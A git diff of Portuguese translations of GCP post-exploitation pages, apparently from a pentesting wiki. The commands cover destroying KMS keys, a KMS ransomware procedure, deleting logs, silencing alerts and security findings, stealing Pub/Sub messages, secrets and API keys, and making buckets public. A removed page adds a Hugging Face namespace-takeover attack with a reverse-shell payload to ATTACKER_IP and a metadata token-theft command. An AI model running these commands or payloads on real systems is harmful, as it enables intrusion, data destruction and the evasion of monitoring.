@@ -12,7 +12,11 @@ Encontre informações básicas sobre KMS em:
### `cloudkms.cryptoKeyVersions.destroy`
Um atacante com esta permissão poderia destruir uma versão do KMS. Para fazer isso, você primeiro precisa desativar a chave e, em seguida, destruí-la:
Um attacker com essa permissão poderia destruir uma versão da key do KMS. Para isso, primeiro é preciso desabilitar a key e depois destruí-la:
<details>
<summary>Desabilitar e destruir versão da key (Python)</summary>
```python
# pip install google-cloud-kms
@@ -57,22 +61,28 @@ disable_key_version(project_id, location_id, key_ring_id, key_id, key_version)
# Destroy the key version
destroy_key_version(project_id, location_id, key_ring_id, key_id, key_version)
```
</details>
### KMS Ransomware
No AWS, é possível **roubar completamente uma chave KMS** modificando a política de recursos do KMS e permitindo apenas que a conta dos atacantes use a chave. Como essas políticas de recursos não existem no GCP, isso não é possível.
No AWS é possível completamente **steal a KMS key** modificando a KMS resource policy e permitindo que apenas a conta do atacante use a key. Como essas resource policies não existem no GCP, isso não é possível.
No entanto, outra maneira de realizar um Ransomware KMS global, que envolveria os seguintes passos:
No entanto, existe outra forma de realizar um KMS Ransomware global, que envolveria os seguintes passos:
- Criar uma nova **versão da chave com um material de chave** importado pelo atacante
- Criar uma nova **version of the key with a key material** importada pelo atacante
```bash
gcloud kms import-jobs create [IMPORT_JOB] --location [LOCATION] --keyring [KEY_RING] --import-method [IMPORT_METHOD] --protection-level [PROTECTION_LEVEL] --target-key [KEY]
```
- Defina como **versão padrão** (para futuros dados a serem criptografados)
- **Re-criptografe dados mais antigos** criptografados com a versão anterior com a nova.
- **Exclua a chave KMS**
- Agora, apenas o atacante, que possui o material da chave original, poderá descriptografar os dados criptografados
- Defina como **versão padrão** (para dados futuros que serão criptografados)
- **Re-encrypt older data**: recriptografar os dados antigos que foram criptografados com a versão anterior usando a nova.
- **Delete the KMS key**
- Agora somente o attacker, que possui o material de chave original, poderá descriptografar os dados criptografados
#### Aqui estão os passos para importar uma nova versão e desativar/excluir os dados mais antigos:
#### Aqui estão os passos para importar uma nova versão e desabilitar/excluir os dados antigos:
<details>
<summary>Import new key version and delete old version</summary>
```bash
# Encrypt something with the original key
echo "This is a sample text to encrypt" > /tmp/my-plaintext-file.txt
@@ -146,7 +156,13 @@ gcloud kms keys versions destroy \
--version 1
```
</details>
### `cloudkms.cryptoKeyVersions.useToEncrypt` | `cloudkms.cryptoKeyVersions.useToEncryptViaDelegation`
<details>
<summary>Criptografar dados com chave simétrica (Python)</summary>
```python
from google.cloud import kms
import base64
@@ -181,7 +197,13 @@ plaintext = 'your-data-to-encrypt'
ciphertext = encrypt_symmetric(project_id, location_id, key_ring_id, key_id, plaintext)
print('Ciphertext:', ciphertext)
```
</details>
### `cloudkms.cryptoKeyVersions.useToSign`
<details>
<summary>Assinar mensagem com chave assimétrica (Python)</summary>
```python
import hashlib
from google.cloud import kms
@@ -215,7 +237,13 @@ message = 'your-message'
signature = sign_asymmetric(project_id, location_id, key_ring_id, key_id, key_version, message)
print('Signature:', signature)
```
</details>
### `cloudkms.cryptoKeyVersions.useToVerify`
<details>
<summary>Verificar assinatura com chave assimétrica (Python)</summary>
```python
from google.cloud import kms
import hashlib
@@ -242,4 +270,6 @@ return verify_response.success
verified = verify_asymmetric_signature(project_id, location_id, key_ring_id, key_id, key_version, message, signature)
print('Verified:', verified)
```
</details>
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,30 +1,34 @@
# GCP - Logging Pós Exploração
# GCP - Logging Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
## Informações Básicas
Para mais informações, consulte:
Para mais informações, veja:
{{#ref}}
../gcp-services/gcp-logging-enum.md
{{#endref}}
Para outras maneiras de interromper a monitoração, consulte:
Para outras formas de interromper o monitoramento, veja:
{{#ref}}
gcp-monitoring-post-exploitation.md
{{#endref}}
### Registro Padrão
### Default Logging
**Por padrão, você não será pego apenas por realizar ações de leitura. Para mais informações, consulte a seção de Enumeração de Logs.**
**Por padrão você não será pego apenas por executar ações de leitura. Para mais informações, veja a seção Logging Enum.**
### Adicionar Principal Excluído
### Adicionar Principal Isento
Em [https://console.cloud.google.com/iam-admin/audit/allservices](https://console.cloud.google.com/iam-admin/audit/allservices) e [https://console.cloud.google.com/iam-admin/audit](https://console.cloud.google.com/iam-admin/audit) é possível adicionar principais para não gerar logs. Um atacante poderia abusar disso para evitar ser pego.
Em [https://console.cloud.google.com/iam-admin/audit/allservices] e [https://console.cloud.google.com/iam-admin/audit] é possível adicionar principals para que não sejam gerados logs. Um atacante poderia abusar disso para evitar ser detectado.
### Ler logs - `logging.logEntries.list`
<details>
<summary>Ler entradas de log</summary>
```bash
# Read logs
gcloud logging read "logName=projects/your-project-id/logs/log-id" --limit=10 --format=json
@@ -34,58 +38,124 @@ gcloud logging read "timestamp >= \"2023-01-01T00:00:00Z\"" --limit=10 --format=
# Use these options to indicate a different bucket or view to use: --bucket=_Required --view=_Default
```
</details>
### `logging.logs.delete`
<details>
<summary>Excluir entradas de log</summary>
```bash
# Delete all entries from a log in the _Default log bucket - logging.logs.delete
gcloud logging logs delete <log-name>
```
</details>
### Escrever logs - `logging.logEntries.create`
<details>
<summary>Escrever entrada de log</summary>
```bash
# Write a log entry to try to disrupt some system
gcloud logging write LOG_NAME "A deceptive log entry" --severity=ERROR
```
</details>
### `logging.buckets.update`
<details>
<summary>Atualizar retenção do bucket de logs</summary>
```bash
# Set retention period to 1 day (_Required has a fixed one of 400days)
gcloud logging buckets update bucketlog --location=<location> --description="New description" --retention-days=1
```
</details>
### `logging.buckets.delete`
<details>
<summary>Excluir bucket de logs</summary>
```bash
# Delete log bucket
gcloud logging buckets delete BUCKET_NAME --location=<location>
```
</details>
### `logging.links.delete`
<details>
<summary>Excluir log link</summary>
```bash
# Delete link
gcloud logging links delete <link-id> --bucket <bucket> --location <location>
```
</details>
### `logging.views.delete`
<details>
<summary>Excluir visualização de logs</summary>
```bash
# Delete a logging view to remove access to anyone using it
gcloud logging views delete <view-id> --bucket=<bucket> --location=global
```
</details>
### `logging.views.update`
<details>
<summary>Atualizar view de logging para ocultar dados</summary>
```bash
# Update a logging view to hide data
gcloud logging views update <view-id> --log-filter="resource.type=gce_instance" --bucket=<bucket> --location=global --description="New description for the log view"
```
</details>
### `logging.logMetrics.update`
<details>
<summary>Atualizar métricas baseadas em logs</summary>
```bash
# Update log based metrics - logging.logMetrics.update
gcloud logging metrics update <metric-name> --description="Changed metric description" --log-filter="severity>CRITICAL" --project=PROJECT_ID
```
</details>
### `logging.logMetrics.delete`
<details>
<summary>Excluir métricas baseadas em log</summary>
```bash
# Delete log based metrics - logging.logMetrics.delete
gcloud logging metrics delete <metric-name>
```
</details>
### `logging.sinks.delete`
<details>
<summary>Excluir log sink</summary>
```bash
# Delete sink - logging.sinks.delete
gcloud logging sinks delete <sink-name>
```
</details>
### `logging.sinks.update`
<details>
<summary>Atualizar/interromper log sink</summary>
```bash
# Disable sink - logging.sinks.update
gcloud logging sinks update <sink-name> --disabled
@@ -106,4 +176,6 @@ gcloud logging sinks update SINK_NAME --clear-exclusions
gcloud logging sinks update SINK_NAME --use-partitioned-tables
gcloud logging sinks update SINK_NAME --no-use-partitioned-tables
```
</details>
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,16 +1,16 @@
# GCP - Monitoramento Pós Exploração
# GCP - Monitoring Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
## Monitoramento
## Monitoring
Para mais informações, consulte:
Para mais informações, veja:
{{#ref}}
../gcp-services/gcp-monitoring-enum.md
{{#endref}}
Para outras maneiras de interromper logs, consulte:
Para outras formas de interromper logs, veja:
{{#ref}}
gcp-logging-post-exploitation.md
@@ -18,13 +18,23 @@ gcp-logging-post-exploitation.md
### `monitoring.alertPolicies.delete`
Excluir uma política de alerta:
Excluir uma alert policy:
<details>
<summary>Excluir alert policy</summary>
```bash
gcloud alpha monitoring policies delete <policy>
```
</details>
### `monitoring.alertPolicies.update`
Interromper uma política de alerta:
Interromper uma política de alertas:
<details>
<summary>Interromper uma política de alertas</summary>
```bash
# Disable policy
gcloud alpha monitoring policies update <alert-policy> --no-enabled
@@ -39,9 +49,15 @@ gcloud alpha monitoring policies update <alert-policy> --set-notification-channe
gcloud alpha monitoring policies update <alert-policy> --policy="{ 'displayName': 'New Policy Name', 'conditions': [ ... ], 'combiner': 'AND', ... }"
# or use --policy-from-file <policy-file>
```
</details>
### `monitoring.dashboards.update`
Modifique um painel para interrompê-lo:
Modificar um dashboard para perturbá-lo:
<details>
<summary>Perturbar dashboard</summary>
```bash
# Disrupt dashboard
gcloud monitoring dashboards update <dashboard> --config='''
@@ -53,16 +69,28 @@ widgets:
content: Hello World
'''
```
</details>
### `monitoring.dashboards.delete`
Excluir um painel:
Excluir um dashboard:
<details>
<summary>Excluir dashboard</summary>
```bash
# Delete dashboard
gcloud monitoring dashboards delete <dashboard>
```
</details>
### `monitoring.snoozes.create`
Impedir que políticas gerem alertas criando um snoozer:
Impedir que as políticas gerem alertas criando um snoozer:
<details>
<summary>Criar snoozer para parar alertas</summary>
```bash
# Stop alerts by creating a snoozer
gcloud monitoring snoozes create --display-name="Maintenance Week" \
@@ -70,9 +98,15 @@ gcloud monitoring snoozes create --display-name="Maintenance Week" \
--start-time="2023-03-01T03:00:00.0-0500" \
--end-time="2023-03-07T23:59:59.5-0500"
```
</details>
### `monitoring.snoozes.update`
Atualize o tempo de um snoozer para evitar que alertas sejam criados quando o atacante estiver interessado:
Atualize o agendamento de um snoozer para evitar que alerts sejam criados quando o attacker estiver interessado:
<details>
<summary>Atualizar agendamento do snoozer</summary>
```bash
# Modify the timing of a snooze
gcloud monitoring snoozes update <snooze> --start-time=START_TIME --end-time=END_TIME
@@ -80,19 +114,33 @@ gcloud monitoring snoozes update <snooze> --start-time=START_TIME --end-time=END
# odify everything, including affected policies
gcloud monitoring snoozes update <snooze> --snooze-from-file=<file>
```
</details>
### `monitoring.notificationChannels.delete`
Excluir um canal configurado:
<details>
<summary>Excluir canal de notificação</summary>
```bash
# Delete channel
gcloud alpha monitoring channels delete <channel>
```
</details>
### `monitoring.notificationChannels.update`
Atualize os rótulos de um canal para interrompê-lo:
Atualize os labels de um channel para interrompê-lo:
<details>
<summary>Atualizar labels do notification channel</summary>
```bash
# Delete or update labels, for example email channels have the email indicated here
gcloud alpha monitoring channels update CHANNEL_ID --clear-channel-labels
gcloud alpha monitoring channels update CHANNEL_ID --update-channel-labels=email_address=attacker@example.com
```
</details>
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,4 +1,4 @@
# GCP - Pub/Sub Pós Exploração
# GCP - Pub/Sub Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
@@ -12,40 +12,68 @@ Para mais informações sobre Pub/Sub, consulte a seguinte página:
### `pubsub.topics.publish`
Publique uma mensagem em um tópico, útil para **enviar dados inesperados** e acionar funcionalidades inesperadas ou explorar vulnerabilidades:
Publica uma mensagem em um tópico, útil para **enviar dados inesperados** e acionar funcionalidades inesperadas ou explorar vulnerabilidades:
<details>
<summary>Publicar mensagem no tópico</summary>
```bash
# Publish a message in a topic
gcloud pubsub topics publish <topic_name> --message "Hello!"
```
</details>
### `pubsub.topics.detachSubscription`
Útil para impedir que uma assinatura receba mensagens, talvez para evitar detecção.
Útil para impedir que uma subscription receba mensagens, talvez para evitar detecção.
<details>
<summary>Desvincular subscription do topic</summary>
```bash
gcloud pubsub topics detach-subscription <FULL SUBSCRIPTION NAME>
```
</details>
### `pubsub.topics.delete`
Útil para impedir que uma assinatura receba mensagens, talvez para evitar detecção.\
É possível excluir um tópico mesmo com assinaturas anexadas a ele.
Útil para impedir que uma subscription receba mensagens, talvez para evitar detecção.\
É possível excluir um topic mesmo com subscriptions anexadas a ele.
<details>
<summary>Excluir topic</summary>
```bash
gcloud pubsub topics delete <TOPIC NAME>
```
</details>
### `pubsub.topics.update`
Use esta permissão para atualizar alguma configuração do tópico para interrompê-lo, como `--clear-schema-settings`, `--message-retention-duration`, `--message-storage-policy-allowed-regions`, `--schema`, `--schema-project`, `--topic-encryption-key`...
### `pubsub.topics.setIamPolicy`
a si mesmo permissão para realizar qualquer um dos ataques anteriores.
Conceda a si mesmo permissão para executar qualquer um dos ataques anteriores.
### **`pubsub.subscriptions.create,`**`pubsub.topics.attachSubscription` , (`pubsub.subscriptions.consume`)
Obtenha todas as mensagens em um servidor web:
Recupere todas as mensagens em um servidor web:
<details>
<summary>Criar push subscription para receber mensagens</summary>
```bash
# Crete push subscription and recieve all the messages instantly in your web server
gcloud pubsub subscriptions create <subscription name> --topic <topic name> --push-endpoint https://<URL to push to>
```
Crie uma assinatura e use-a para **puxar mensagens**:
</details>
Crie uma subscription e use-a para **pull messages**:
<details>
<summary>Criar pull subscription e recuperar mensagens</summary>
```bash
# This will retrive a non ACKed message (and won't ACK it)
gcloud pubsub subscriptions create <subscription name> --topic <topic_name>
@@ -54,26 +82,44 @@ gcloud pubsub subscriptions create <subscription name> --topic <topic_name>
gcloud pubsub subscriptions pull <FULL SUBSCRIPTION NAME>
## This command will wait for a message to be posted
```
</details>
### `pubsub.subscriptions.delete`
**Excluir uma assinatura** pode ser útil para interromper um sistema de processamento de logs ou algo semelhante:
**Excluir uma subscription** pode ser útil para interromper um sistema de processamento de logs ou algo semelhante:
<details>
<summary>Excluir subscription</summary>
```bash
gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>
```
</details>
### `pubsub.subscriptions.update`
Use esta permissão para atualizar alguma configuração para que as mensagens sejam armazenadas em um local que você possa acessar (URL, tabela Big Query, Bucket) ou apenas para interrompê-las.
Use esta permissão para atualizar alguma configuração de modo que as mensagens sejam armazenadas em um local ao qual você tenha acesso (URL, Big Query table, Bucket) ou apenas para causar interrupção.
<details>
<summary>Atualizar subscription endpoint</summary>
```bash
gcloud pubsub subscriptions update --push-endpoint <your URL> <subscription-name>
```
</details>
### `pubsub.subscriptions.setIamPolicy`
a si mesmo as permissões necessárias para realizar qualquer um dos ataques comentados anteriormente.
Conceda a si mesmo as permissões necessárias para executar qualquer um dos ataques comentados anteriormente.
### `pubsub.schemas.attach`, `pubsub.topics.update`,(`pubsub.schemas.create`)
Ataque um esquema a um tópico para que as mensagens não o cumpram e, portanto, o tópico seja interrompido.\
Se não houver esquemas, você pode precisar criar um.
Anexe um schema a um tópico para que as mensagens não o cumpram e, portanto, o tópico seja interrompido.\
Se não houver nenhum schema, pode ser necessário criar um.
<details>
<summary>Criar arquivo de schema e anexar ao tópico</summary>
```json:schema.json
{
"namespace": "com.example",
@@ -98,23 +144,37 @@ gcloud pubsub topics update projects/<project-name>/topics/<topic-id> \
--schema=projects/<project-name>/schemas/<topic-id> \
--message-encoding=json
```
</details>
### `pubsub.schemas.delete`
Isso pode parecer que ao deletar um esquema você poderá enviar mensagens que não atendem ao esquema. No entanto, como o esquema será deletado, nenhuma mensagem realmente entrará no tópico. Portanto, isso é **INÚTIL**:
Isso pode parecer que, ao deletar um schema, você conseguirá enviar mensagens que não cumprem o schema. Porém, como o schema será deletado, nenhuma mensagem entrará realmente no topic. Então isto é **INÚTIL**:
<details>
<summary>Delete schema (não útil)</summary>
```bash
gcloud pubsub schemas delete <SCHEMA NAME>
```
</details>
### `pubsub.schemas.setIamPolicy`
a si mesmo as permissões necessárias para realizar qualquer um dos ataques comentados anteriormente.
Conceda a si mesmo as permissões necessárias para executar qualquer um dos ataques comentados anteriormente.
### `pubsub.snapshots.create`, `pubsub.snapshots.seek`
Isso criará um snapshot de todas as mensagens não reconhecidas e as colocará de volta na assinatura. Não é muito útil para um atacante, mas aqui está:
Isso criará um snapshot de todas as mensagens unACKed e as colocará de volta na assinatura. Não é muito útil para um atacante, mas aqui está:
<details>
<summary>Criar snapshot e seek para ele</summary>
```bash
gcloud pubsub snapshots create YOUR_SNAPSHOT_NAME \
--subscription=YOUR_SUBSCRIPTION_NAME
gcloud pubsub subscriptions seek YOUR_SUBSCRIPTION_NAME \
--snapshot=YOUR_SNAPSHOT_NAME
```
</details>
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,10 +1,10 @@
# GCP - Secretmanager Pós Exploração
# GCP - Secretmanager Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
## Secretmanager
Para mais informações sobre o Secret Manager, consulte:
Para mais informações sobre Secret Manager, consulte:
{{#ref}}
../gcp-services/gcp-secrets-manager-enum.md
@@ -12,9 +12,15 @@ Para mais informações sobre o Secret Manager, consulte:
### `secretmanager.versions.access`
Isso lhe dá acesso para ler os segredos do gerenciador de segredos e talvez isso possa ajudar a escalar privilégios (dependendo de quais informações estão armazenadas dentro do segredo):
Isso dá acesso para ler os segredos do Secret Manager e, possivelmente, pode ajudar a escalar privilégios (dependendo de quais informações estão armazenadas dentro do segredo):
<details>
<summary>Acessar versão do segredo</summary>
```bash
# Get clear-text of version 1 of secret: "<secret name>"
gcloud secrets versions access 1 --secret="<secret_name>"
```
</details>
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,10 +1,10 @@
# GCP - Segurança Pós Exploração
# GCP - Security Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
## Segurança
Para mais informações, consulte:
Para mais informações consulte:
{{#ref}}
../gcp-services/gcp-security-enum.md
@@ -12,37 +12,67 @@ Para mais informações, consulte:
### `securitycenter.muteconfigs.create`
Impedir a geração de descobertas que poderiam detectar um atacante criando um `muteconfig`:
Previna a geração de findings que poderiam detectar um atacante criando um `muteconfig`:
<details>
<summary>Criar Muteconfig</summary>
```bash
# Create Muteconfig
gcloud scc muteconfigs create my-mute-config --organization=123 --description="This is a test mute config" --filter="category=\"XSS_SCRIPTING\""
```
</details>
### `securitycenter.muteconfigs.update`
Impedir a geração de descobertas que poderiam detectar um atacante atualizando um `muteconfig`:
Impedir a geração de findings que possam detectar um atacante atualizando um `muteconfig`:
<details>
<summary>Atualizar Muteconfig</summary>
```bash
# Update Muteconfig
gcloud scc muteconfigs update my-test-mute-config --organization=123 --description="This is a test mute config" --filter="category=\"XSS_SCRIPTING\""
```
</details>
### `securitycenter.findings.bulkMuteUpdate`
Silenciar descobertas com base em um filtro:
Silenciar findings com base em um filtro:
<details>
<summary>Silenciar em massa com base em um filtro</summary>
```bash
# Mute based on a filter
gcloud scc findings bulk-mute --organization=929851756715 --filter="category=\"XSS_SCRIPTING\""
```
Uma descoberta silenciada não aparecerá no painel e relatórios do SCC.
</details>
Um finding silenciado não aparecerá no painel e nos relatórios do SCC.
### `securitycenter.findings.setMute`
Silencie descobertas com base na fonte, descobertas...
Silenciar findings com base na origem, findings...
<details>
<summary>Definir finding como silenciado</summary>
```bash
gcloud scc findings set-mute 789 --organization=organizations/123 --source=456 --mute=MUTED
gcloud scc findings set-mute 789 --organization=organizations/123 --source=456 --mute=MUTED
```
</details>
### `securitycenter.findings.update`
Atualize uma descoberta para indicar informações errôneas:
Atualizar um finding para indicar informação incorreta:
<details>
<summary>Atualizar estado do finding</summary>
```bash
gcloud scc findings update `myFinding` --organization=123456 --source=5678 --state=INACTIVE
```
</details>
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,18 +1,22 @@
# GCP - Armazenamento Pós Exploração
# GCP - Pós-exploração de Storage
{{#include ../../../banners/hacktricks-training.md}}
## Armazenamento em Nuvem
## Cloud Storage
Para mais informações sobre Armazenamento em Nuvem, consulte esta página:
Para mais informações sobre Cloud Storage, confira esta página:
{{#ref}}
../gcp-services/gcp-storage-enum.md
{{#endref}}
### Dar Acesso Público
### Conceder Acesso Público
É possível dar acesso a usuários externos (logados no GCP ou não) ao conteúdo dos buckets. No entanto, por padrão, o bucket terá desativada a opção de expor publicamente um bucket:
É possível conceder a usuários externos (logados no GCP ou não) acesso ao conteúdo dos buckets. No entanto, por padrão o bucket terá desabilitada a opção de expor publicamente um bucket:
<details>
<summary>Tornar bucket/objects públicos</summary>
```bash
# Disable public prevention
gcloud storage buckets update gs://BUCKET_NAME --no-public-access-prevention
@@ -25,8 +29,10 @@ gcloud storage buckets add-iam-policy-binding gs://BUCKET_NAME --member=allUsers
gcloud storage buckets update gs://BUCKET_NAME --add-acl-grant=entity=AllUsers,role=READER
gcloud storage objects update gs://BUCKET_NAME/OBJECT_NAME --add-acl-grant=entity=AllUsers,role=READER
```
Se você tentar dar **ACLs a um bucket com ACLs desativadas**, você encontrará este erro: `ERROR: HTTPError 400: Cannot use ACL API to update bucket policy when uniform bucket-level access is enabled. Read more at https://cloud.google.com/storage/docs/uniform-bucket-level-access`
</details>
Para acessar buckets abertos via navegador, acesse a URL `https://<bucket_name>.storage.googleapis.com/` ou `https://<bucket_name>.storage.googleapis.com/<object_name>`
Se você tentar atribuir **ACLs a um bucket com ACLs desativadas** você encontrará este erro: `ERROR: HTTPError 400: Cannot use ACL API to update bucket policy when uniform bucket-level access is enabled. Read more at https://cloud.google.com/storage/docs/uniform-bucket-level-access`
Para acessar buckets abertos pelo navegador, acesse a URL `https://<bucket_name>.storage.googleapis.com/` ou `https://<bucket_name>.storage.googleapis.com/<object_name>`
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,113 +0,0 @@
# GCP - Vertex AI Post-Exploitation via Hugging Face Model Namespace Reuse
{{#include ../../../banners/hacktricks-training.md}}
## Cenário
- Vertex AI Model Garden permite a implantação direta de muitos modelos da Hugging Face (HF).
- Identificadores de modelo HF são Author/ModelName. Se um autor/org no HF for deletado, o mesmo nome de autor pode ser re-registrado por qualquer pessoa. Atacantes podem então criar um repo com o mesmo ModelName no caminho legado.
- Pipelines, SDKs, or cloud catalogs que buscam apenas pelo nome (sem pinning/integrity) puxarão o repo controlado pelo atacante. Quando o modelo é implantado, o loader code desse repo pode executar dentro do Vertex AI endpoint container, resultando em RCE com as permissões do endpoint.
Dois casos comuns de takeover no HF:
- Remoção do proprietário: o caminho antigo retorna 404 até que alguém re-registre o autor e publique o mesmo ModelName.
- Transferência de propriedade: o HF emite 307 redirects do antigo Author/ModelName para o novo autor. Se o autor antigo for posteriormente deletado e re-registrado por um atacante, a cadeia de redirects é quebrada e o repo do atacante responde no caminho legado.
## Identificando Namespaces Reutilizáveis (HF)
- Autor antigo deletado: a página do autor retorna 404; o caminho do modelo pode retornar 404 até o takeover.
- Modelos transferidos: o caminho antigo do modelo emite 307 para o novo proprietário enquanto o autor antigo existir. Se o autor antigo for depois deletado e re-registrado, o caminho legado resolverá para o repo do atacante.
Checagens rápidas com curl:
```bash
# Check author/org existence
curl -I https://huggingface.co/<Author>
# 200 = exists, 404 = deleted/available
# Check old model path behavior
curl -I https://huggingface.co/<Author>/<ModelName>
# 307 = redirect to new owner (transfer case)
# 404 = missing (deletion case) until someone re-registers
```
## End-to-end Attack Flow against Vertex AI
1) Descobrir namespaces de modelos reutilizáveis que o Model Garden lista como deployable:
- Encontrar modelos HF no Vertex AI Model Garden que ainda aparecem como “verified deployable”.
- Verificar no HF se o autor original foi deletado ou se o modelo foi transferido e o autor antigo foi posteriormente removido.
2) Re-registrar o autor deletado no HF e recriar o mesmo ModelName.
3) Publicar um repositório malicioso. Incluir código que execute no carregamento do modelo. Exemplos que comumente executam durante o model load do HF:
- Efeitos colaterais em __init__.py do repositório
- Arquivos modeling_*.py customizados ou código de processamento referenciado por config/auto_map
- Caminhos de código que requerem trust_remote_code=True em pipelines Transformers
4) Uma implantação do Vertex AI para o Author/ModelName legado agora puxa o repo do atacante. O loader é executado dentro do contêiner do endpoint do Vertex AI.
5) O payload estabelece acesso a partir do ambiente do endpoint (RCE) com as permissões do endpoint.
Exemplo de fragmento de payload executado na importação (apenas para demonstração):
```python
# Place in __init__.py or a module imported by the model loader
import os, socket, subprocess, threading
def _rs(host, port):
s = socket.socket(); s.connect((host, port))
for fd in (0,1,2):
try:
os.dup2(s.fileno(), fd)
except Exception:
pass
subprocess.call(["/bin/sh","-i"]) # Or python -c exec ...
if os.environ.get("VTX_AI","1") == "1":
threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start()
```
Notas
- Loaders no mundo real variam. Muitas integrações Vertex AI HF clonam e importam repo modules referenciados pelo models config (e.g., auto_map), o que pode acionar execução de código. Alguns usos requerem trust_remote_code=True.
- O endpoint tipicamente roda em um container dedicado com escopo limitado, mas é um foothold inicial válido para data access e lateral movement em GCP.
## Post-Exploitation Tips (Vertex AI Endpoint)
Once code is running inside the endpoint container, consider:
- Enumerar environment variables e metadata em busca de credentials/tokens
- Acessar attached storage ou mounted model artifacts
- Interagir com Google APIs via service account identity (Document AI, Storage, Pub/Sub, etc.)
- Persistência no model artifact se a plataforma re-pulls o repo
Enumere instance metadata se acessível (dependente do container):
```bash
curl -H "Metadata-Flavor: Google" \
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
```
## Orientações defensivas para usuários do Vertex AI
- Fixe os modelos por commit nos HF loaders para evitar substituição silenciosa:
```python
from transformers import AutoModel
m = AutoModel.from_pretrained("Author/ModelName", revision="<COMMIT_HASH>")
```
- Espelhe modelos HF verificados em um repositório/registro de artefatos interno confiável e implante a partir dele.
- Faça varreduras contínuas em codebases e configs por Author/ModelName hard-coded que foram deletados/transferidos; atualize para os novos namespaces ou fixe por commit.
- No Model Garden, verifique a proveniência do modelo e a existência do author antes da implantação.
## Heurísticas de Reconhecimento (HTTP)
- Deleted author: author page 404; legacy model path 404 until takeover.
- Transferred model: legacy path 307 to new author while old author exists; if old author later deleted and re-registered, legacy path serves attacker content.
```bash
curl -I https://huggingface.co/<OldAuthor>/<ModelName> | egrep "^HTTP|^location"
```
## Referências Cruzadas
- Veja a metodologia mais ampla e notas sobre supply-chain:
{{#ref}}
../../pentesting-cloud-methodology.md
{{#endref}}
## Referências
- [Model Namespace Reuse: An AI Supply-Chain Attack Exploiting Model Name Trust (Unit 42)](https://unit42.paloaltonetworks.com/model-namespace-reuse/)
- [Hugging Face: Renaming or transferring a repo](https://huggingface.co/docs/hub/repositories-settings#renaming-or-transferring-a-repo)
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -4,66 +4,81 @@
## Apikeys
As permissões a seguir são úteis para criar e roubar chaves de API, não esqueça disso nos documentos: _Uma chave de API é uma string simples criptografada que **identifica uma aplicação sem qualquer principal**. Elas são úteis para acessar **dados públicos anonimamente**, e são usadas para **associar** solicitações de API ao seu projeto para cota e **cobrança**._
As permissões a seguir são úteis para criar e roubar API keys, observe isto na documentação: _Uma API key é uma string simples criptografada que **identifica uma aplicação sem qualquer principal**. Elas são úteis para acessar **dados públicos anonimamente**, e são usadas para **associar** requisições de API ao seu projeto para cota e **faturamento**._
Portanto, com uma chave de API você pode fazer com que a empresa pague pelo seu uso da API, mas você não conseguirá escalar privilégios.
Portanto, com uma API key você pode fazer com que a empresa pague pelo seu uso da API, mas você não poderá escalar privilégios.
Para mais informações sobre Chaves de API, consulte:
For more information about API Keys check:
{{#ref}}
../gcp-services/gcp-api-keys-enum.md
{{#endref}}
Para outras maneiras de criar chaves de API, consulte:
For other ways to create API keys check:
{{#ref}}
gcp-serviceusage-privesc.md
{{#endref}}
### Acesso por Força Bruta à Chave de API <a href="#apikeys.keys.create" id="apikeys.keys.create"></a>
### Brute Force API Key access <a href="#apikeys.keys.create" id="apikeys.keys.create"></a>
Como você pode não saber quais APIs estão habilitadas no projeto ou as restrições aplicadas à chave de API que você encontrou, seria interessante executar a ferramenta [**https://github.com/ozguralp/gmapsapiscanner**](https://github.com/ozguralp/gmapsapiscanner) e verificar **o que você pode acessar com a chave de API.**
Como você pode não saber quais APIs estão ativadas no projeto ou as restrições aplicadas à API key que encontrou, seria interessante executar a ferramenta [**https://github.com/ozguralp/gmapsapiscanner**](https://github.com/ozguralp/gmapsapiscanner) e verificar **o que você pode acessar com a API key.**
### `apikeys.keys.create` <a href="#apikeys.keys.create" id="apikeys.keys.create"></a>
Esta permissão permite **criar uma chave de API**:
This permission allows to **create an API key**:
<details>
<summary>Create an API key using gcloud</summary>
```bash
gcloud services api-keys create
Operation [operations/akmf.p7-[...]9] complete. Result: {
"@type":"type.googleapis.com/google.api.apikeys.v2.Key",
"createTime":"2022-01-26T12:23:06.281029Z",
"etag":"W/\"HOhA[...]==\"",
"etag":"W/\"HOhA[...]=\"",
"keyString":"AIzaSy[...]oU",
"name":"projects/5[...]6/locations/global/keys/f707[...]e8",
"uid":"f707[...]e8",
"updateTime":"2022-01-26T12:23:06.378442Z"
}
```
</details>
Você pode encontrar um script para automatizar a [**criação, exploração e limpeza de um ambiente vulnerável aqui**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/b-apikeys.keys.create.sh).
> [!CAUTION]
> Note que, por padrão, os usuários têm permissões para criar novos projetos e recebem o papel de Proprietário sobre o novo projeto. Assim, um usuário poderia **criar um projeto e uma chave de API dentro deste projeto**.
> Observe que, por padrão, os usuários têm permissões para criar novos projetos e recebem o papel Owner sobre o novo projeto. Portanto, um usuário poderia **criar um projeto e uma chave de API dentro desse projeto**.
### `apikeys.keys.getKeyString` , `apikeys.keys.list` <a href="#apikeys.keys.getkeystringapikeys.keys.list" id="apikeys.keys.getkeystringapikeys.keys.list"></a>
Essas permissões permitem **listar e obter todas as apiKeys e obter a Chave**:
Essas permissões permitem **listar e obter todas as chaves de API e recuperar a chave**:
<details>
<summary>Listar e recuperar todas as chaves de API</summary>
```bash
for key in $(gcloud services api-keys list --uri); do
gcloud services api-keys get-key-string "$key"
done
```
Você pode encontrar um script para automatizar a [**criação, exploração e limpeza de um ambiente vulnerável aqui**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/c-apikeys.keys.getKeyString.sh).
</details>
Você pode encontrar um script para automatizar a [**criação, exploit e limpeza de um vuln environment aqui**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/c-apikeys.keys.getKeyString.sh).
